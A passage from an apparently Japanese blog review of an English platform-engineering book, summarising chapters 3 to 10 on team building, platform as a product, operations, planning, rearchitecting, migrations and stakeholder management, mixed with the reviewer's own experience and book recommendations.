謙一(監修)草思社Amazon章全体からの学び第3章は、プラットフォームエンジニアリングの導入と発展に関する実践的なガイドを提供しています。とりわけ重要なのは、組織の規模や成熟度に応じて適切なアプローチを選択する必要性です。私自身も組織のプラットフォームエンジニアリングを主導している立場から、小規模スタートアップでは軽量なプロセスと基本的な自動化から始め、成長に伴って段階的に発展させていく著者の提案に強く共感します。特に印象的なのは、著者がプラットフォームエンジニアリングを単なる技術的な取り組みではなく、組織文化の変革として捉えている点です。これは私の実務経験とも一致しており、多くの組織が陥りがちな技術偏重のアプローチを避けるための重要な示唆となっています。例えば、私のチームでは新しい技術の導入よりも、まず既存の問題解決と開発者体験の向上に焦点を当てることで、より持続可能な変革を実現できています。また、チーム編成に関する著者の洞察も非常に実践的です。特に、大企業出身のエンジニアの採用に関する警告は、私自身の経験からも非常に的確だと感じています。優れた技術力を持っていても、規模の異なる組織での経験をそのまま適用しようとする傾向は、しばしば新たな問題を引き起こす原因となりうるからです。この章の知見は、今後のプラットフォームエンジニアリングの実践において重要な指針となるでしょう。組織の成熟度に応じた段階的なアプローチ、ユーザー中心の文化醸成、そして適切なチーム構築は、成功への鍵となる要素です。私たちプラットフォームエンジニアリングリーダーは、これらの知見を活かしながら、各組織の状況に適した変革を推進していく必要があります。Chapter 4. Building Great Platform Teams第4章「Building Great Platform Teams」は、プラットフォームエンジニアリングチームの構築と育成に焦点を当てています。この章では、効果的なプラットフォームチームの構築に必要な多様な役割と、それらの役割間のバランスの取り方について、実践的な知見が提供されています。特に、ソフトウェアエンジニアとシステムエンジニアの異なる視点をどのように融合させ、顧客中心のプラットフォームを構築するかという課題に深く切り込んでいます。シングルフォーカスチームの課題単一の視点に偏ったチーム構成は、長期的に見て大きな課題を生み出します。システムエンジニアに偏重したチームは運用面では優れているものの、プラットフォームの抽象化や設計面で課題を抱えがちです。一方、ソフトウェアエンジニアに偏重したチームは新機能の開発には長けていますが、運用安定性や既存システムの改善に対する意識が低くなりがちです。私の経験からも、この両極端な状況を目にすることが多々あります。過去のプロジェクトでは、システムエンジニアの視点が強すぎるあまり、新機能開発に対して過度に慎重になり、結果として顧客ニーズへの対応が遅れるという課題がありました。一方で、開発速度を重視するあまり、運用の視点が欠如し、本番環境での深刻な問題を引き起こすケースも見てきました。Figure 4-1. Breaking down the major engineering roles in a platform engineering team より引用[Figure 4-1]で示されているように、プラットフォームエンジニアリングチームにおける主要なエンジニアリング役割の分類は、このバランスの重要性を明確に表しています。プラットフォームエンジニアの多様な役割プラットフォームエンジニアリングチームにおける主要な役割について、著者は4つの異なる専門性を持つエンジニアの重要性を強調しています。Software Engineerはソフトウェア開発に特化しながらもシステムへの深い理解と運用への関心を持ち、ビジネスクリティカルなシステムのオンコール対応ができ、慎重なペースでの開発に納得できる人材です。Systems EngineerはDevOpsエンジニアやSREに近い立場ながら、より広範な視点を持ち、インフラストラクチャの統合からプラットフォームのコードベースに関わる深いシステムの問題解決まで、幅広い業務を担当します。Reliability Engineerは信頼性に特化し、インシデント管理、SLOのコンサルティング、カオスエンジニアリング、ゲームデイの実施など、システム全体の信頼性向上に注力します。そしてSystems Specialistは、ネットワーキング、カーネル、パフォーマンス、ストレージなど、特定の技術領域に深い専門性を持つエンジニアですが、著者はこの役割については組織の規模と必要性が明確になってから採用することを推奨しています。特に印象的なのは、各役割の採用と評価についての具体的なアドバイスです。例えば、システムエンジニアの採用において、コーディング面接の柔軟な運用を提案しています。私のチームでもこのアプローチを採用し、結果として運用経験が豊富で、かつ適度なコーディングスキルを持つエンジニアの採用に成功しています。また、クラウドネイティブプラットフォームの構築において、これら4つの役割が相互に補完し合い、それぞれの専門性を活かしながら協働することで、より堅牢なプラットフォームの実現が可能になることを日々の実務で実感しています。プラットフォームエンジニアリングマネージャーの重要性プラットフォームエンジニアリングマネージャーには、プラットフォームの運用経験、長期プロジェクトの経験、そして細部への注意力が不可欠です。私の経験上、特に運用経験の重要性は強調してもしすぎることはありません。複雑なシステムの運用経験がないマネージャーが、技術的な課題の深刻さを過小評価し、結果として重大なサービス障害を引き起こすケースを何度も目にしてきました。プロダクトマネジメントのすべて 事業戦略・IT開発・UXデザイン・マーケティングからチーム・組織運営まで作者:及川 卓也,小城 久美子,曽根原 春樹翔泳社Amazonチーム文化の構築と維持チーム文化の構築は、技術的な課題と同じくらい重要です。著者が示す開発チームとSREチームの統合事例は、私自身のチーム統合経験とも共鳴する部分が多くあります。特に、異なる文化を持つチームを統合する際の段階的なアプローチは、非常に実践的です。私のチームでは、定期的な技術共有セッションとクロスファンクショナルなプロジェクト編成を通じて、異なる背景を持つエンジニア間の相互理解を促進しています。これにより、「システムチーム」vs「開発チーム」という対立構造を避け、より協調的な文化を醸成することができています。章全体からの学びプラットフォームエンジニアリングチームの成功には、技術的なスキルと組織文化の両面でのバランスが不可欠です。著者の提案する4つの役割分類と、それぞれの役割に対する適切な評価・育成方法は、実践的で価値のある指針となっています。特に重要なのは顧客エンパシーです。これは単なるスキルではなく、チーム全体の文化として根付かせる必要があります。プラットフォームエンジニアリングチームが提供する価値は、単なる技術的な解決策ではなく、顧客の課題を深く理解し、それに対する適切な解決策を提供することにあるからです。今後のプラットフォームエンジニアリングには、技術の進化に加えて、組織のデジタルトランスフォーメーションへの対応も求められます。この章で学んだチーム構築の原則は、そうした変化に対応する上で重要な指針となるでしょう。個人的な経験からも、技術と人、そして文化のバランスを取ることが、持続可能なプラットフォーム組織の構築には不可欠だと確信しています。Chapter 5. Platform as a Product第5章「Platform as a Product」は、プラットフォームエンジニアリングにおいて、プラットフォームを製品として捉えるアプローチの重要性と実践方法について深く掘り下げています。著者は、組織内プラットフォームの構築において、プロダクト思考を採用することの意義と、その実現に向けた具体的な戦略を提示しています。顧客中心のプロダクトカルチャーの確立著者は、内部顧客の特性として、小規模な顧客基盤、囚われの観客、利害の対立、顧客満足度の変動、そして時として競合者となり得る顧客の存在を挙げています。私の経験でも、特に囚われの観客という特性は重要で、単にプラットフォームの使用を強制するのではなく、真に価値のある製品として受け入れられる必要があります。著者が提唱する「顧客エンパシー」の文化は、面接プロセスからの組み込み、顧客中心の目標設定、ユーザーフィードバックの定期的な収集など、具体的な施策を通じて醸成されます。私のチームでも、エンジニアのサポート輪番制を導入し、顧客の課題を直接理解する機会を設けることで、より顧客志向の製品開発が実現できています。プロダクトディスカバリーとマーケット分析新しいプラットフォーム製品の発見と検証について、著者は他チームが構築した成功事例を基に広範な用途に適用可能な製品として発展させること、特定のチームと協力して具体的な課題解決から始めて一般化可能な製品を作り出すこと、そして導入障壁が低く明確な価値提案を持つ製品から着手することという三つのアプローチを提示しています。プロダクトロードマップの重要性著者は、プロダクトロードマップの構築において、プラットフォームが目指す理想的な状態を示す長期的なビジョン、ビジョン実現のための具体的なアプローチを示す中期的な戦略、定量的な成功指標となる年間目標とメトリクス、そして具体的な実装計画となる四半期ごとのマイルストーンという段階的なアプローチを提案しています。この考え方は、「プロダクトマネージャーのしごと 第2版」でも強調されており、同書ではプロダクトマネージャーの重要な役割として、ビジョンとロードマップの策定、顧客ニーズの深い理解、データ駆動の意思決定、そしてステークホルダーとの効果的なコミュニケーションを挙げています。特に、プロダクトロードマップは単なる実装計画ではなく、製品の戦略的な方向性を示す重要なツールとして位置づけられています。プロダクトマネージャーのしごと 第2版 ―1日目から使える実践ガイド作者:Matt LeMayオーム社Amazon失敗のパターンと対策著者は主要な失敗パターンとして、移行コストの過小評価、ユーザーの変更予算の過大評価、安定性が低い状況での新機能価値の過大評価、そしてエンジニアリングチームの規模に対する製品マネージャーの過剰な配置を指摘しています。私の経験からも、特に移行コストの過小評価は深刻な問題となりがちで、新機能の魅力に目を奪われ、既存システムからの移行に伴う実務的な課題を軽視してしまうケースを何度も目にしてきました。章全体からの学びプラットフォームを製品として扱うアプローチの成功には、文化、製品市場適合性、実行の3つの要素が不可欠です。著者が強調するように、単なる技術的な優位性ではなく、顧客価値の創出と組織全体への影響を考慮した包括的なアプローチが求められます。プラットフォームエンジニアリングリーダーとして、この章から学んだ最も重要な教訓は、技術的な卓越性と顧客価値のバランスを取ることの重要性です。プラットフォームは技術的に優れているだけでなく、実際のユーザーにとって価値のある、使いやすい製品でなければなりません。また、私はプロダクトマネジメントについて学んできてなかったので主張としてなんとなくしか理解できない事柄もいくつかあった。Chapter 6. Operating Platforms第6章「Operating Platforms」は、プラットフォームエンジニアリングにおける運用の本質と、その実践的なアプローチについて深く掘り下げています。この章では、プラットフォームの運用が単なる技術的な課題ではなく、組織全体の成功に直結する戦略的な要素であることを強調しています。著者は、「レアなことは規模が大きくなると一般的になる」という Jason Cohen の言葉を引用しながら、プラットフォームの規模拡大に伴う運用上の課題とその対処方法について詳細に論じています。【改訂新版】システム障害対応の教科書作者:木村 誠明技術評論社Amazonオンコール体制の重要性と実践著者は、オンコール体制について非常に現実的な視点を提供しています。特に印象的だったのは、24x7のオンコール体制の必要性についての議論です。私自身、過去に「重要ではない」と思われる開発者ツールのプラットフォームでさえ、予想外のタイミングで重要になる経験をしてきました。例えば、深夜のクリティカルなバグ修正時にデプロイメントプラットフォームが機能しないという状況は、まさに著者が指摘する通りの事例です。著者が提案する「週に5件以下のビジネスインパクトのある問題」という基準は、理想的ではありますが、現実的な目標として受け入れられます。これは私の経験とも一致しており、このレベルを超えると組織の持続可能性が急速に低下することを実感してきました。特に、この数字を超えると、チームのバーンアウトや離職率の上昇といった深刻な問題につながることを、実際のプロジェクトで何度も目の当たりにしてきました。また、マージされたDevOpsアプローチの重要性について、著者は説得力のある議論を展開しています。プラットフォームチームの規模が限られている場合、開発とオペレーションを分離することは現実的ではないという指摘は、多くの組織にとって重要な示唆となります。私の経験では、小規模なプラットフォームチームでDevとOpsを分離しようとした結果、コミュニケーションの断絶や責任の所在の不明確化といった問題が発生したケースを数多く見てきました。サポート実践の段階的アプローチサポート体制については、著者が提案する4段階のアプローチが非常に実践的です。特に、サポートレベルの形式化から始まり、最終的にはエンジニアリングサポート組織(ESO)の確立に至るまでの発展プロセスは、多くの組織が参考にできるモデルとなっています。第1段階のサポートレベルの形式化では、支援要請の分類と対応の優先順位付けが重要です。私のチームでも、この分類作業を通じて、実際には多くの問題が共通のパターンを持っていることが分かり、効率的な対応方法を確立することができました。第2段階のクリティカルでないサポートのオンコールからの分離は、チームの持続可能性を確保する上で重要なステップです。私の経験では、この分離を実施することで、開発者が本来の開発業務に集中できる時間が増え、結果としてプラットフォームの品質向上にもつながりました。第3段階のサポートスペシャリストの採用については、著者が指摘する「ユニコーン」の必要性に強く共感します。T1とT2の両方をこなせる人材を見つけることは確かに難しいですが、非伝統的な背景を持つ人材の育成という提案は、現実的かつ効果的なアプローチだと考えています。最後の第4段階である大規模なエンジニアリングサポート組織の確立については、著者が提供するFAANG企業での実例が非常に参考になります。特に、アプリケーションの階層化とそれに応じたSLAの設定、顧客のオンコール要件、システムエンジニアの採用といった具体的な施策は、大規模組織での運用の複雑さと、その解決策を理解する上で重要な示唆を提供しています。運用フィードバックの実践運用フィードバックの実践については、著者がSLO、SLA、エラーバジェットについて興味深い見解を示しています。特に、エラーバジェットが必ずしも万能な解決策ではないという指摘は、現実の組織運営において非常に重要な視点です。私の経験では、エラーバジェットの導入が却ってチーム間の対立を生む結果となったケースもありました。著者が提案する合成モニタリングの重要性は、現代のプラットフォーム運用において極めて重要です。開発時間の25%、リソースコストの10%という投資推奨は、一見高額に感じるかもしれませんが、問題の早期発見と対応によって得られる価値を考えると、十分に正当化できる投資だと考えています。私のチームでも、合成モニタリングの導入により、ユーザーからの報告前に問題を検知し、対応できるケースが大幅に増加しました。変更管理の現実的アプローチ変更管理に関する著者の見解は、現代のDevOps実践との関連で特に興味深いものでした。完全な自動化を目指しつつも、その過程での適切な変更管理の重要性を説いている点は、多くのプラットフォームチームにとって重要な示唆となります。著者が指摘する通り、プラットフォームの変更は複雑で状態を持つことが多く、単純なCI/CDの適用が難しい場合が多いです。私の経験でも、キャッシュクリアやデータベースマイグレーションなど、慎重な制御が必要な操作が多く存在し、これらの管理には明確なプロセスと慎重なアプローチが必要でした。運用レビューの実践運用レビューについての議論は、特にリーダーシップの観点から重要です。チームレベルでのシンプルかつ厳格なレビュー、そして組織レベルでの本質的なレビューの必要性は、プラットフォーム運用の成功に不可欠な要素として描かれています。私の経験では、週次の運用レビューを通じて、潜在的な問題を早期に発見し、対応することができました。特に、ページング頻度、サポートチケットの傾向、インシデントの根本原因分析などを定期的にレビューすることで、システムの健全性を維持し、改善の機会を見出すことができました。また、著者が強調するリーダーシップの関与の重要性は、非常に重要な指摘です。運用レビューに経営層が積極的に参加することで、運用上の課題が適切に理解され、必要なリソースの確保や優先順位付けがスムーズに行われるようになった経験があります。章全体からの学びこの章は、プラットフォーム運用の複雑さと、それを成功に導くための実践的なアプローチを包括的に示しています。特に、運用の規律がプラットフォームの成功にとって不可欠であることを強調している点は、現代のソフトウェア開発環境において極めて重要な示唆となっています。読者として強く感じたのは、プラットフォーム運用が単なる技術的な課題ではなく、組織的な取り組みとして捉える必要があるという点です。特に、チームの持続可能性とユーザー満足度の両立という観点から、著者の提案する実践的なアプローチは非常に価値があります。この章で提示されている運用プラクティスは、理想的ではありますが現実的な目標として設定されており、段階的な改善のためのロードマップとしても機能します。私自身、これらのプラクティスの多くを実践してきましたが、特に重要なのは、組織の規模や成熟度に応じて適切なアプローチを選択し、継続的に改善を進めていく姿勢だと考えています。最後に、この章の内容は、プラットフォームエンジニアリングリーダーが直面する現実的な課題と、その解決のための具体的なアプローチを提供しており、現代のソフトウェア開発組織にとって重要な指針となっています。特に、運用の持続可能性とビジネス価値の創出のバランスを取りながら、組織を成長させていくための実践的な知見は、非常に価値のあるものだと言えます。Chapter 7. Planning and Delivery第7章「Planning and Delivery」は、プラットフォームエンジニアリングにおける計画立案と実行の重要性について深く掘り下げています。この章では、長期的なプロジェクトの計画から日々の実行管理、そして成果の可視化に至るまで、プラットフォームチームのリーダーが直面する実践的な課題と、その解決のためのアプローチについて詳細に解説しています。BIG THINGS どデカいことを成し遂げたヤツらはなにをしたのか?作者:ベント・フリウビヤ,ダン・ガードナーサンマーク出版Amazon長期プロジェクトの計画立案プラットフォームエンジニアリングの特徴的な側面の一つは、長期的なプロジェクトの存在です。私の経験でも、新しいインフラストラクチャの構築や大規模なマイグレーションプロジェクトは、しばしば数ヶ月から数年の期間を要します。著者が提案するプロポーザルドキュメントの作成から実行計画への移行というアプローチは、このような長期プロジェクトを成功に導くための実践的な方法論として非常に重要です。特に印象的だったのは、プロジェクトの目的と要件をプロポーザルドキュメントで明確化する部分です。私自身、過去に大規模なマイグレーションプロジェクトをリードした際、初期段階でのプロポーザルドキュメントの重要性を痛感しました。背景、テネット、ガイドライン、問題の詳細、解決策の概要、実行計画という構造化されたアプローチは、関係者間の合意形成と期待値の調整に非常に効果的でした。ボトムアップなロードマップ計画著者が提案するボトムアップなロードマップ計画は、プラットフォームチームが直面する現実的な課題に対する実践的な解決策を提供しています。特に、KTLO(Keep the Lights On)作業、マンデート、システム改善という3つの主要な作業カテゴリの区分は、リソース配分と優先順位付けの明確な枠組みを提供します。私のチームでも、KTLOワークの見積もりから始めて、段階的にプランニングの精度を上げていく手法を採用しています。特に、全体の40%をKTLOに、残りを70/20/10の比率で新機能開発、アーキテクチャ改善、イノベーションに配分するというガイドラインは、バランスの取れたリソース配分の指針として有用でした。戦略の要諦 (日本経済新聞出版)作者:リチャード・P・ルメルト日経BPAmazon隔週での成果と課題の共有著者が提案する「Wins and Challenges」という取り組みは、プラットフォームチームの成果を可視化し、組織全体との信頼関係を構築するための効果的な方法です。私のチームでも、この手法を導入してから、ステークホルダーとのコミュニケーションが大幅に改善されました。特に重要なのは、チャレンジを適切に共有することの価値です。私の経験では、問題を隠すのではなく、適切に共有し、解決に向けた支援を得られる関係性を構築することが、長期的な信頼関係の構築に不可欠でした。このような定期的な成果共有の重要性は、「SREsのためのSRE定着ガイド」でも定点観測会として紹介されており、インフラストラクチャーの価値を他のチームに継続的に伝えていく機会として非常に有効です。 speakerdeck.comプロジェクト管理の実践的アプローチ著者が警告する「長期的な停滞」に陥るリスクは、多くのプラットフォームチームにとって現実的な課題です。私も過去に、過度に野心的な目標設定や不明確な問題設定により、プロジェクトが停滞する経験をしました。これを避けるために、プロジェクトの範囲を適切に設定し、段階的な価値提供を重視するアプローチを採用しています。章全体からの学びこの章で提示されている計画立案と実行管理のフレームワークは、プラットフォームエンジニアリングの成功に不可欠な要素を網羅しています。特に、長期的なビジョンと短期的な成果のバランス、透明性の高いコミュニケーション、そして継続的な価値提供の重要性は、現代のプラットフォームエンジニアリングにおいて極めて重要です。私の経験からも、これらの実践は組織の規模や成熟度に関わらず、適用可能で効果的なアプローチだと確信しています。ただし、各組織の状況に応じて適切にカスタマイズすることが重要です。特に、チームの規模が小さい段階では、過度に形式的なプロセスを避け、エッセンシャルな実践に焦点を当てることを推奨します。この章の内容は、プラットフォームエンジニアリングチームが直面する計画立案と実行管理の課題に対する実践的なガイドとして、非常に価値のあるものだと評価しています。Chapter 8. Rearchitecting Platforms第8章「Rearchitecting Platforms」は、プラットフォームの再アーキテクチャリングという重要なテーマについて、その必要性、アプローチ、実践方法を包括的に解説しています。著者は、プラットフォームの進化が不可避であるという現実を踏まえ、どのようにして既存のシステムを運用しながら進化させていくかという実践的な知見を提供しています。特に印象的なのは、冒頭のRandy Schoupによる「If you don't end up regretting your early technology decisions, you probably overengineered.」(初期の技術選定を後悔しないのであれば、おそらく過剰設計だった)という引用です。この言葉は、プラットフォームエンジニアリングにおける現実的なアプローチの重要性を端的に表現しています。進化的アーキテクチャ ―絶え間ない変化を支える作者:Neal Ford,Rebecca Parsons,Patrick KuaオライリージャパンAmazonまた、日本の伊勢神宮で実践される式年遷宮のように、定期的にシステムを刷新しながら価値を維持・向上させていく「式年遷宮アーキテクチャ」の考え方も、この文脈で参考になる概念といえます。agnozingdays.hatenablog.comv2開発とリアーキテクチャリングの選択Figure 8-1. How a platform is successfully rearchitected over time より引用[Figure 8-1]は、プラットフォームの進化とリアーキテクチャリングの関係を時系列で示した重要な図です。この図は、プラットフォームが「Scrappy Platform」から「Scalable Platform」を経て「Robust Platform」へと進化していく過程を表しています。著者は、新システムを一から作り直すv2アプローチと、既存システムを進化させるリアーキテクチャリングアプローチを比較し、後者を推奨しています。私自身の経験からも、v2アプローチの失敗を何度も目にしてきました。特に印象的だったのは、セカンドシステム効果による過剰な機能の盛り込みと、移行コストの過小評価という2つの典型的な失敗パターンです。たとえば、あるプロジェクトでは、既存システムの問題点を全て解決しようとするあまり、新システムの設計が複雑化し、開発期間が当初の見積もりの3倍以上に膨れ上がってしまいました。結果として、ビジネスニーズの変化に追いつけず、プロジェクトは中止を余儀なくされました。著者が提案する3つの異なるエンジニアリングマインドセット(パイオニア、セトラー、タウンプランナー)の分類は、非常に示唆に富んでいます。私のチームでも、このフレームワークを参考に、フェーズに応じた適切な人材配置を行うことで、より効果的なリアーキテクチャリングを実現できています。パイオニアマインドセットは、新しい可能性を探索し、革新的なソリューションを生み出すのに長けています。一方で、セトラーマインドセットは、実験的なアイデアを実用的なプロダクトへと昇華させる能力に優れています。そして、タウンプランナーマインドセットは、システムの効率化と産業化を得意としています。セキュリティアーキテクチャの重要性特に注目すべきは、セキュリティをアーキテクチャレベルで考える必要性についての指摘です。著者は、プラットフォームのセキュリティは後付けではなく、設計段階から組み込まれるべきだと主張しています。これは、私が過去に経験した大規模なセキュリティインシデントからも、極めて重要な教訓だと感じています。例えば、あるプロジェクトでは、セキュリティを後付けで考えたために、重要なアーキテクチャ上の変更が必要となり、多大なコストと時間を要しました。特に、マルチテナント環境におけるデータの分離や、認証・認可の仕組みは、後からの変更が極めて困難でした。「サイバー犯罪を完全に防ぐことはできないが、システムをよりスマートに設計することで被害を最小限に抑えることは可能」という著者の指摘は、現代のセキュリティアプローチの本質を突いています。特に重要なのは、以下の実践的なアプローチです:標準化された認証・認可の仕組みの提供セキュアなデフォルト設定の重要性アクセス制御の宣言的な定義テナント分離アーキテクチャの採用ガードレールの設計と実装リアーキテクチャリングの実践において、著者はガードレールの重要性を強調しています。これは、変更を安全に実施するための枠組みとして機能します。特に、以下の4つの側面からのアプローチが重要です:後方互換性の維持: APIの互換性を保ち、既存のクライアントへの影響を最小限に抑える包括的なテスト戦略: 単体テストから統合テスト、合成モニタリングまでの総合的なアプローチ環境管理の重要性: 開発、テスト、本番環境の適切な分離と管理段階的なロールアウト: カナリアリリースやトランチ方式による慎重なデプロイメント私の経験では、特に後方互換性の維持が重要です。一度失った顧客の信頼を取り戻すのは極めて困難であり、互換性の破壊は避けるべき最大のリスクの一つです。たとえば、あるプロジェクトでは、APIの下位互換性を破壊する変更を行ったことで、顧客のシステムに深刻な影響を与え、その修復に数ヶ月を要しました。リアーキテクチャリングの計画立案著者が提案する4段階の計画立案プロセスは、実践的で効果的なアプローチです:最終目標の設定: 3-5年の長期的なビジョンを明確にする移行コストの見積もり: 現実的なコストと時間の評価12ヶ月での主要な成果の設定: 短期的な価値提供の確保リーダーシップの支持獲得: 組織的なサポートの確保特に印象的なのは、12ヶ月での具体的な成果達成を重視している点です。私のチームでも、長期的なビジョンと短期的な成果のバランスを取ることで、ステークホルダーの信頼を維持しながら、大規模なリアーキテクチャリングを成功させることができました。具体的には、以下のような3つの目標設定が効果的でした:大きな価値を生む野心的な目標: ビジネスにインパクトのある変革より小規模だが確実な価値提供: 現実的な改善の実現技術的な基盤の確立: 新アーキテクチャの実運用開始章全体からの学びこの章から学んだ最も重要な教訓は、リアーキテクチャリングは技術的な課題である以上に、組織的な取り組みであるという点です。技術的な優位性だけでなく、ビジネス価値の創出と組織の継続的な発展を両立させる必要があります。私の経験からも、リアーキテクチャリングの成功には、技術的な卓越性、組織的な支援、そして段階的な実行アプローチが不可欠です。特に、早期の価値提供と段階的な移行を重視することで、リスクを最小限に抑えながら、必要な変革を実現することができます。また、著者が警告する新入社員主導のリアーキテクチャリングの危険性も重要な指摘です。過去の経験や他社での成功体験に基づく性急な変更は、往々にして組織の文化や既存システムの複雑さを考慮できず、失敗に終わることが多いです。最後に、この章は現代のプラットフォームエンジニアリングが直面する重要な課題に対する実践的なガイドを提供しており、多くのプラットフォームリーダーにとって貴重な参考資料となるでしょう。特に、継続的な進化の必要性と実践的なアプローチの重要性は、今後のプラットフォーム戦略を考える上で極めて重要な示唆を提供しています。Chapter 9. Migrations and Sunsetting of Platforms第9章「Migrations and Sunsetting of Platforms」は、プラットフォームエンジニアリングにおける最も困難な課題の一つである、マイグレーションとプラットフォームのサンセットについて詳細に解説しています。著者は、C. Scott Andreasの「プラットフォームは、土台のように、その上に構築するための安定した表面を提供するべきものである」という言葉を引用しながら、変更を管理しつつ安定性を提供するというプラットフォームエンジニアリングの本質的な課題に切り込んでいます。cloud.google.comこちらも参考になるかと思います。learn.microsoft.comaws.amazon.comマイグレーションのアンチパターン著者が指摘するマイグレーションの主要なアンチパターンは、私の経験とも強く共鳴します。特に、コンテキストのない締め切り、曖昧な要件、不十分なテスト、そしてクリップボード持ちの説教者という4つのパターンは、多くのプラットフォームチームが陥りがちな罠です。私自身、ある大規模なマイグレーションプロジェクトで、経営陣から突然の期限を課された経験があります。その時の教訓は、マイグレーションは技術的な課題である以上に、コミュニケーションと計画の課題であるということでした。具体的には、チームメンバーや関係者との丁寧なコミュニケーション、段階的なマイグレーション計画の策定、そして明確な成功基準の設定が重要でした。また、曖昧な要件の問題は特に深刻です。「Product X version Y以前を使用している場合は...」といった通知を送っても、多くのユーザーはProduct Xが何を指すのかすら理解できていないことがあります。これは単なるコミュニケーションの問題ではなく、プラットフォームの可視性と理解可能性の問題でもあります。learning.oreilly.comより簡単なマイグレーションのためのエンジニアリング著者は、マイグレーションを容易にするための技術的なアプローチとして、製品抽象化、透過的なマイグレーション、メタデータ追跡、自動化の重要性を説いています。これらは、現代のクラウドネイティブ環境において特に重要です。私の経験では、グルーコードの最小化とバリエーションの制限が特に重要でした。あるプロジェクトでは、各チームが独自のグルーコードを持っていたために、システムの更新が極めて困難になっていました。この教訓を活かし、次のプロジェクトでは標準化されたインターフェースと限定的なカスタマイズオプションを提供することで、マイグレーションの複雑さを大幅に削減することができました。また、使用状況メタデータの追跡も極めて重要です。過去のプロジェクトで、依存関係の把握が不十分だったために、マイグレーション中に予期せぬ問題が発生し、スケジュールが大幅に遅延した経験があります。この経験から、プラットフォームの使用状況、依存関係、所有者情報を常に追跡するシステムを構築することが、効果的なマイグレーション管理の基盤となることを学びました。スムーズなマイグレーションの調整マイグレーションの成功には、早期のコミュニケーションと公開性が不可欠です。著者が提案する、12ヶ月以上先の期限に対する慎重なアプローチは、私の経験からも非常に賢明です。特に印象的なのは、最後の20%をプッシュするという考え方です。実際のプロジェクトでは、最初の80%は比較的スムーズに進むことが多いものの、残りの20%で予想外の課題に直面することがよくあります。この段階での成功には、古いシステムの適切な維持管理、予期せぬ技術的課題への柔軟な対応、そして責任の所在の明確化が重要です。私の経験では、この最後の20%で重要なのは、チームのモチベーション維持です。古いシステムの維持に割り当てられたチームメンバーが、キャリアの行き詰まりを感じて離職するケースも少なくありません。これを防ぐために、新旧システムの作業をバランスよく配分し、全員が新しい技術にも触れる機会を提供することが重要です。プラットフォームのサンセットプラットフォームのサンセットは、マイグレーション以上に難しい判断を必要とします。著者は、サンセットを検討すべき状況として、ユーザー数の少なさ、高いサポートコスト、他の優先事項への注力必要性という3つの条件を挙げています。私の経験では、特に構築者の抵抗が大きな課題となることがあります。開発者は自分たちが構築したシステムに愛着を持ちがちで、そのサンセットには強い感情的な抵抗を示すことがあります。あるプロジェクトでは, 新システムへの移行が技術的には可能であったにもかかわらず、開発チームの強い愛着により、不必要に長期間両方のシステムを維持することになりました。このような状況を避けるためには、客観的な評価基準と透明性の高い意思決定プロセスが重要です。具体的には、使用状況メトリクス、維持コスト、技術的負債の状況など、定量的なデータに基づく判断を行うことで、感情的な議論を避けることができます。また、サンセット計画の策定においては、段階的なアプローチが効果的です。まず使用制限を設けてから完全な廃止へと移行する方法や、特定の機能のみを段階的に廃止していく方法など、状況に応じた柔軟なアプローチを取ることが重要です。章全体からの学びこの章から得られる最も重要な教訓は、マイグレーションとサンセットは避けられない現実であり、それらを効果的に管理することがプラットフォームチームの価値を証明する機会となるということです。著者が述べているように、マイグレーションは「税金」のようなものかもしれませんが、それは避けられない更新のコストです。プラットフォームエンジニアリングの真価は、より良い自動化、コミュニケーション、実行を通じて、この変更のコストを組織全体で最小化できるという点にあります。私の経験からも、成功するマイグレーションには、技術的な準備、組織的なサポート、そして効果的なコミュニケーションが不可欠です。特に重要なのは、ユーザー体験を最優先し、できる限り多くの作業を事前に準備することです。さらに、マイグレーションやサンセットの経験は、将来のプラットフォーム設計にも活かすべき重要な学びとなります。特に、変更のしやすさを初期の設計段階から考慮することで、将来のマイグレーションコストを低減することができます。最後に、この章は、プラットフォームエンジニアリングにおけるマイグレーションとサンセットの重要性を再認識させ、その実践的なアプローチを提供する貴重な指針となっています。その教訓は、現代のクラウドネイティブ環境において、ますます重要性を増していくことでしょう。Chapter 10. Managing Stakeholder Relationships第10章「Managing Stakeholder Relationships」は、プラットフォームエンジニアリングにおけるステークホルダー管理の重要性と実践的なアプローチについて詳細に解説しています。著者は、プロダクトマネジメントとステークホルダーマネジメントの違いを明確にし、後者がプラットフォームチームの成功にとって極めて重要であることを強調しています。社内政治の教科書作者:高城 幸司ダイヤモンド社Amazonステークホルダーマッピング:パワー・インタレストグリッドFigure 10-1. Power-interest grid, showing the four quadrants of stakeholders based on their power within the organization and interest in your work より引用[Figure 10-1]は、ステークホルダーのマッピングを「パワー」と「関心」の2軸で表現した重要な図です。この図は、ステークホルダーを4つの象限に分類し、それぞれに対する適切なアプローチを示しています。私の経験でも、このような体系的なマッピングは、限られたリソースを効果的に配分する上で非常に有用でした。Figure 10-2. The power-interest grid showing Juan’s stakeholders より引用[Figure 10-2]では、架空の例としてJuanというVPのステークホルダーマップが示されています。この例は、現実のプラットフォームチームが直面する複雑なステークホルダー関係を見事に表現しています。特に重要なのは、パワーと関心の高いステークホルダー(CPOや主要エンジニアリングチームのリーダー)に対する戦略的なアプローチの必要性です。適切な透明性でのコミュニケーション著者は、ステークホルダーとのコミュニケーションにおいて、過度な詳細の共有を避けることの重要性を強調しています。これは、私のチームでも痛感した教訓です。以前、技術的な詳細を過度に共有したことで、かえってステークホルダーの不信感を招いた経験があります。特に重要なのは、1:1ミーティングの戦略的な活用です。初期段階での関係構築には有効ですが、組織の成長とともにその限界も見えてきます。私の経験では、四半期ごとのKeep Satisfied/Keep Informedステークホルダーとの1:1、そして月次でのManage Closelyステークホルダーとの1:1というリズムが効果的でした。受け入れ可能な妥協点の見出し方ステークホルダーとの関係において、妥協は避けられない現実です。特に印象的なのは、「yes, with 